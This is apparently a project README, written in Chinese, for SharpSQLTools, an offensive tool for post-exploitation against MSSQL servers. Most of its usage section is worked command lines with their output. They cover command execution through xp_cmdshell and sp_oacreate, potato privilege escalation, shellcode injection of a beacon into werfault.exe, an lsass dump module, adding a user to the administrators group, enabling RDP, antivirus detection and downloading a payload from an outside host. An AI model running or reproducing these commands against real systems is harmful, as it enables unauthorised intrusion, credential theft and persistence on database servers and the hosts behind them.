SharpSQLTools

Open source

SharpSQLTools 和@Rcoil一起写的小工具，可上传下载文件，xp_cmdshell与sp_oacreate执行命令回显和clr加载程序集执行相应操作。

967 stars0 likes0 views

About

SharpSQLTools 和@Rcoil一起写的小工具，可上传下载文件，xp_cmdshell与sp_oacreate执行命令回显和clr加载程序集执行相应操作。

简介

和RcoIl一起写的小工具，可上传下载文件，xp_cmdshell与sp_oacreate双回显和clr加载程序集执行相应操作。功能参考mssqlproxy，由于目前C#还不知如何获取SQL连接的socket，该项目中的mssqlproxy功能目前尚未实现。另外，Clr不适用于一些与线程进程相关的操作。

编译环境为net 4.0

更新日志

2021-08-05
- 添加clr_badpotato
- 修改原来的clr_potato为clr_efspotato
2021-08-04
- 添加一些clr实现的基本命令：pwd,ls,netstat,ps等等
- 致谢KevinJClark@csharptoolbox & rabbittb
2021-08-03
- 添加clr_efspotato
- 致谢zcgonvh@EfsPotato & hl0rey
2021-07-10
- 修复上传bug
- 修复clr回显bug
2021-06-22
- 添加clr执行命令和程序
- 添加clr合并文件功能，方便在cmd被拦截时代替copy /b合并文件
- 修改支持自定义端口
2021-05-27
- 支持shellcode远程加载
2021-01-19
- 支持xp_cmdshell与sp_oacreate双回显
- 支持clr加载程序集执行
- 支持上传下载文件
2019-12-18
- 发布最初命令行版

Usage

…

功能介绍

支持交互模式与非交互模式，交互模式直接跟目标，用户名和密码即可。非交互模式直接跟模块与命令。

SharpSQLTools target:port username password database                   - interactive console
SharpSQLTools target:port username password database module command    - non-interactive console

xp_cmdshell执行命令

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX xp_cmdshell master whoami 
[*] Database connection is successful!

nt authority\system

sp_oacreate执行命令

λ SharpSQLTools.exe 192.168.0.102 sa 1qaz@WSX master sp_oacreate master "whoami"
[*] Database connection is successful!

nt service\mssqlserver

clr执行命令

…

clr_efspotato or clr_badpotato

…

clr_scloader

…

clr_scloader1

λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_scloader1 C:\Users\Public\payload.txt aaaa
[*] Database connection is successful!
[+] EncryptShellcodePath: C:\Users\Public\payload.txt
[+] XorKey: aaaa
[+] StartProcess werfault.exe
[+] OpenProcess Pid: 3232
[+] VirtualAllocEx Success
[+] QueueUserAPC Inject shellcode to PID: 3232 Success
[+] hOpenProcessClose Success

[*] QueueUserAPC Inject shellcode Success, enjoy!

clr_scloader2

λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_scloader2 C:\Users\Public\beacon.bin
[*] Database connection is successful!
[+] ShellcodePath: C:\Users\Public\beacon.bin
[+] StartProcess werfault.exe
[+] OpenProcess Pid: 332
[+] VirtualAllocEx Success
[+] QueueUserAPC Inject shellcode to PID: 332 Success
[+] hOpenProcessClose Success

[*] QueueUserAPC Inject shellcode Success, enjoy!

clr_dumplsass

…

clr_RDP

λ SharpSQLTools.exe 192.168.0.103 sa 1qaz@WSX master "clr_RDP"
[*] Database connection is successful!
[*] RDP is already enabled
[+] RDP Port: 3389

clr_getav

λ SharpSQLTools.exe 192.168.0.103 sa 1qaz@WSX master "clr_getav"
[*] Database connection is successful!
[*] Finding....
   [>] proName: wdswfsafe appName: 360杀毒-网盾
[*] Finish!

clr_adduser

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master clr_adduser test1234 1qaz@WSX
[*] Database connection is successful!
[*] Adding User success
[*] Adding Group Member success

clr_combine

λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_combine C:\Users\Public\payload.txt
[*] Database connection is successful!
[+] remoteFile: C:\Users\Public\payload.txt
[+] count: 5
[+] combinefile: C:\Users\Public\payload.txt_*.config_txt C:\Users\Public\payload.txt
[*] 'C:\Users\Public\payload.txt_*.config_txt' CombineFile completed

clr_download

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master clr_download "http://192.168.28.185:8001/clac.bin" "c:\Users\Public\Downloads\test.bin"
[*] Database connection is successful!
[*] Download success

upload

…

download

λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX master download c:\Users\Public\Downloads\t.txt C:\Users\Pentest\Desktop\test\t.txt
[*] Database connection is successful!
[*] Downloading 'c:\Users\Public\Downloads\t.txt' to 'C:\Users\Pentest\Desktop\test\t.txt'...
[*] 'c:\Users\Public\Downloads\t.txt' Download completed